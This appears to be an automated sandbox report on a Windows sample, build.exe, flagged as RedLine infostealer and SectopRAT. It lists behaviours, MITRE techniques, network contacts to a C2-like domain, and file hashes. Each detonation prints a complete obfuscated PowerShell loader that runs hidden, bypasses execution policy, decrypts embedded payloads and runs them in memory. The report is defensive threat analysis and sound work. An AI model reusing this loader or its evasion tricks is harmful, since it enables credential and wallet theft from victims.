Malware Analysis Report

2024-09-11 08:43

Sample ID 240505-wlx2dabg97
Target build.exe
SHA256 18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def
Tags
redline sectoprat cheat execution infostealer persistence rat spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def

Threat Level: Known bad

The file build.exe was found to be: Known bad.

Malicious Activity Summary

redline sectoprat cheat execution infostealer persistence rat spyware trojan

SectopRAT

RedLine payload

RedLine

SectopRAT payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Unsigned PE

Program crash

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Modify Registry
T1112
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-05 18:01

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-05 18:01

Reported

2024-05-05 18:06

Platform

win10-20240404-en

Max time kernel

195s

Max time network

300s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1900 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 1900 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 5088 wrote to memory of 4868 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5088 wrote to memory of 4868 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5088 wrote to memory of 4868 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 20.231.121.79:80 tcp
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 31.13.26.104.in-addr.arpa udp
US 8.8.8.8:53 11.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 717c25dae776217fbc92897c79fb72b2
SHA1 c3d1bbe2b559c0c18423b80bee499f0d23b3b477
SHA256 8c3def6d2728ca908b96df1ee12de65b03ca1e4975bbc65813154b846058b949
SHA512 4f9a1a953951cbd0cf112939d973fde0dbaff92a4a2149e619ba39998c379ff62d01c6af03005a2c03831d0d989303a7bf3c0c12ba1b3bf85d1b90ab05dd264d

memory/4868-5-0x0000000073B2E000-0x0000000073B2F000-memory.dmp

memory/4868-8-0x00000000067A0000-0x00000000067D6000-memory.dmp

memory/4868-10-0x0000000006E10000-0x0000000007438000-memory.dmp

memory/4868-9-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-11-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-12-0x0000000006CD0000-0x0000000006CF2000-memory.dmp

memory/4868-13-0x0000000006D70000-0x0000000006DD6000-memory.dmp

memory/4868-14-0x0000000007440000-0x00000000074A6000-memory.dmp

memory/4868-15-0x0000000007620000-0x0000000007970000-memory.dmp

memory/4868-18-0x00000000074B0000-0x00000000074CC000-memory.dmp

memory/4868-19-0x0000000007AB0000-0x0000000007AFB000-memory.dmp

memory/4868-20-0x0000000007CD0000-0x0000000007D46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_at5kko5t.gqk.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4868-31-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-36-0x0000000009520000-0x0000000009B98000-memory.dmp

memory/4868-37-0x0000000008A90000-0x0000000008AAA000-memory.dmp

memory/4868-38-0x0000000008AD0000-0x0000000008AD8000-memory.dmp

memory/4868-39-0x0000000008B10000-0x0000000008B46000-memory.dmp

memory/4868-42-0x0000000008DF0000-0x0000000008E0E000-memory.dmp

memory/4868-45-0x000000000A1B0000-0x000000000A7B6000-memory.dmp

memory/4868-46-0x0000000008F60000-0x0000000008F72000-memory.dmp

memory/4868-47-0x0000000008FC0000-0x0000000008FFE000-memory.dmp

memory/4868-48-0x0000000009140000-0x000000000924A000-memory.dmp

memory/4868-74-0x0000000073B2E000-0x0000000073B2F000-memory.dmp

memory/4868-75-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-84-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-99-0x0000000009D70000-0x0000000009F32000-memory.dmp

memory/4868-100-0x000000000ACF0000-0x000000000B21C000-memory.dmp

memory/4868-101-0x000000000B220000-0x000000000B71E000-memory.dmp

memory/4868-242-0x0000000009BA0000-0x0000000009C32000-memory.dmp

memory/4868-243-0x0000000007DF0000-0x0000000007E0E000-memory.dmp

memory/4868-244-0x0000000073B20000-0x000000007420E000-memory.dmp

memory/4868-251-0x0000000073B20000-0x000000007420E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpF05.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmpF1A.tmp

MD5 55d8864e58f075cbe2dbd43a1b2908a9
SHA1 0d7129d95fa2ddb7fde828b22441dc53dffc5594
SHA256 e4e07f45a83a87aff5e7f99528464abaad495499e9e2e3e0fcd5897819f88581
SHA512 89ce123d2685448826f76dce25292b2d2d525efd8b78fd9235d1e357ad7ae2d4b3461ef903e2994cd2b8e28f56b0cc50137dd90accdd3f281472e488f6c7cf2e

C:\Users\Admin\AppData\Local\Temp\tmpFC3.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

memory/4868-440-0x0000000073B20000-0x000000007420E000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-05 18:01

Reported

2024-05-05 18:06

Platform

win10v2004-20240226-en

Max time kernel

235s

Max time network

300s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3184 wrote to memory of 1184 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 3184 wrote to memory of 1184 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 1184 wrote to memory of 3956 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1184 wrote to memory of 3956 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1184 wrote to memory of 3956 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4056 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 20.231.121.79:80 tcp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.12.31:443 api.ip.sb tcp
US 8.8.8.8:53 31.12.26.104.in-addr.arpa udp
US 8.8.8.8:53 130.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 142.250.180.10:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 10.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 201.201.50.20.in-addr.arpa udp
US 8.8.8.8:53 14.242.123.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 717c25dae776217fbc92897c79fb72b2
SHA1 c3d1bbe2b559c0c18423b80bee499f0d23b3b477
SHA256 8c3def6d2728ca908b96df1ee12de65b03ca1e4975bbc65813154b846058b949
SHA512 4f9a1a953951cbd0cf112939d973fde0dbaff92a4a2149e619ba39998c379ff62d01c6af03005a2c03831d0d989303a7bf3c0c12ba1b3bf85d1b90ab05dd264d

memory/3956-3-0x000000007459E000-0x000000007459F000-memory.dmp

memory/3956-4-0x0000000002B30000-0x0000000002B66000-memory.dmp

memory/3956-5-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-6-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-7-0x00000000052B0000-0x00000000058D8000-memory.dmp

memory/3956-8-0x0000000005240000-0x0000000005262000-memory.dmp

memory/3956-9-0x0000000005950000-0x00000000059B6000-memory.dmp

memory/3956-10-0x00000000059C0000-0x0000000005A26000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0dmasjv.h1u.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3956-16-0x0000000005AB0000-0x0000000005E04000-memory.dmp

memory/3956-21-0x0000000005FF0000-0x000000000600E000-memory.dmp

memory/3956-22-0x00000000060D0000-0x000000000611C000-memory.dmp

memory/3956-23-0x000000007459E000-0x000000007459F000-memory.dmp

memory/3956-24-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-25-0x00000000078D0000-0x0000000007F4A000-memory.dmp

memory/3956-26-0x00000000065A0000-0x00000000065BA000-memory.dmp

memory/3956-27-0x0000000002690000-0x0000000002698000-memory.dmp

memory/3956-28-0x0000000006660000-0x0000000006696000-memory.dmp

memory/3956-29-0x00000000072F0000-0x000000000730E000-memory.dmp

memory/3956-30-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-31-0x0000000009570000-0x0000000009B88000-memory.dmp

memory/3956-32-0x00000000073C0000-0x00000000073D2000-memory.dmp

memory/3956-33-0x0000000007420000-0x000000000745C000-memory.dmp

memory/3956-34-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-35-0x0000000007580000-0x000000000768A000-memory.dmp

memory/3956-37-0x0000000009220000-0x00000000093E2000-memory.dmp

memory/3956-38-0x000000000A0C0000-0x000000000A5EC000-memory.dmp

memory/3956-39-0x000000000ABA0000-0x000000000B144000-memory.dmp

memory/3956-40-0x0000000009180000-0x0000000009212000-memory.dmp

memory/3956-41-0x00000000090E0000-0x0000000009156000-memory.dmp

memory/3956-42-0x0000000009160000-0x000000000917E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp5FEF.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmp6014.tmp

MD5 4c2e2189b87f507edc2e72d7d55583a0
SHA1 1f06e340f76d41ea0d1e8560acd380a901b2a5bd
SHA256 99a5f8dea08b5cf512ed888b3e533cc77c08dc644078793dc870abd8828c1bca
SHA512 8b6b49e55afe8a697aaf71d975fab9e906143339827f75a57876a540d0d7b9e3cbbcdd8b5435d6198900a73895cc52d2082e66ee8cec342e72f2e427dde71600

C:\Users\Admin\AppData\Local\Temp\tmp606E.tmp

MD5 d444c807029c83b8a892ac0c4971f955
SHA1 fa58ce7588513519dc8fed939b26b05dc25e53b5
SHA256 8297a7698f19bb81539a18363db100c55e357fa73f773c2b883d2c4161f6a259
SHA512 b7958b843639d4223bef65cdc6c664d7d15b76ac4e0a8b1575201dd47a32899feff32389dcc047314f47944ebe7b774cd59e51d49202f49541bbd70ecbb31a2e

C:\Users\Admin\AppData\Local\Temp\tmp6084.tmp

MD5 d04123ed98dc315274ad724f71eb3c6a
SHA1 303f2209f4463fbcfd54cd530cf64c54dc359e4f
SHA256 ebd34ebd586d89a768cd16c5c773ab32bd260462047f200b995e3956a1bf0a2f
SHA512 a46ed9e1b1306a671903b8d084cb047aa5c06bbc686e4c949e26963b02c7292b019642b8a901dcf42c263886117f1024052ddfd00929f564a2d96a415da0a81e

C:\Users\Admin\AppData\Local\Temp\tmp60CE.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

memory/3956-191-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/3956-194-0x0000000074590000-0x0000000074D40000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-05-05 18:01

Reported

2024-05-05 18:06

Platform

win11-20240419-en

Max time kernel

91s

Max time network

202s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3840 wrote to memory of 4712 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 3840 wrote to memory of 4712 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 4712 wrote to memory of 1800 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4712 wrote to memory of 1800 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4712 wrote to memory of 1800 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); 